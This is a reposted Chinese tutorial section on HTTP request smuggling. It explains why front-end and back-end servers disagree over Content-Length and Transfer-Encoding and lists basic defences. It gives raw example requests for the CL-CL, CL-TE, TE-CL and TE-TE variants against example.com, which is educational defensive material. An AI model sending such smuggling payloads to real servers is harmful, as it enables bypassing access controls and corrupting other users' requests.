4.17. HTTP 请求走私

   日期:2020-07-07     浏览:85    评论:0    
核心提示:文章目录4.17. HTTP 请求走私4.17.1. 简介4.17.2. 成因4.17.3. 分类4.17.4. 攻击4.17.4.1. CL不为0的GET请求4.17.4.2. CL-CL4.17.4.3. CL-TE4.17.4.4. TE-CL4.17.4.5. TE-TE4.17.5. 防御4.17.6. 参考链接4.17. HTTP 请求走私4.17.1. 简介HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术。4.17.2. 成因请求走私大多发生于前端服务器和后端服务器对客户

文章目录

  • 4.17. HTTP 请求走私
    • 4.17.1. 简介
    • 4.17.2. 成因
    • 4.17.3. 分类
    • 4.17.4. 攻击
      • 4.17.4.1. CL不为0的GET请求
      • 4.17.4.2. CL-CL
      • 4.17.4.3. CL-TE
      • 4.17.4.4. TE-CL
      • 4.17.4.5. TE-TE
    • 4.17.5. 防御
    • 4.17.6. 参考链接

4.17. HTTP 请求走私

4.17.1. 简介

HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术。

4.17.2. 成因

请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-LengthTransfer-Encoding 标头。

4.17.3. 分类

  • CLTE:前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding
  • TECL:前端服务器使用 Transfer-Encoding标头,后端服务器使用 Content-Length 标头。
  • TETE:前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。

4.17.4. 攻击

4.17.4.1. CL不为0的GET请求

当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。例如下面这个例子:

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器处理了Content-Length,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求,就造成了漏洞的发生。

4.17.4.2. CL-CL

根据RFC 7230,当服务器收到的请求中包含两个 Content-Length ,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length 值时,就会出现漏洞。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

这个例子中a就会被带入下一个请求,变为 aGET / HTTP/1.1\r\n

4.17.4.3. CL-TE

CL-TE指前端服务器处理 Content-Length 这一请求头,而后端服务器遵守RFC2616的规定,忽略掉 Content-Length,处理 Transfer-Encoding 。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r\n

4.17.4.4. TE-CL

TE-CL指前端服务器处理Transfer-Encoding请求头,而后端服务器处理 Content-Length 请求头。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

4.17.4.5. TE-TE

TE-TE指前后端服务器都处理Transfer-Encoding请求头,但是在容错性上表现不同,例如有的服务器可能会处理 Transfer-encoding ,测试例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

4.17.5. 防御

  • 禁用后端连接重用
  • 确保连接中的所有服务器具有相同的配置
  • 拒绝有二义性的请求

4.17.6. 参考链接

  • HTTP Request Smuggling by chaiml
  • HTTP request smuggling by portswigger
  • RFC 2616 Hypertext Transfer Protocol – HTTP/1.1
  • RFC 7230 Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing – HTTP/1.1
  • 从一道题到协议层攻击之HTTP请求走私
 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服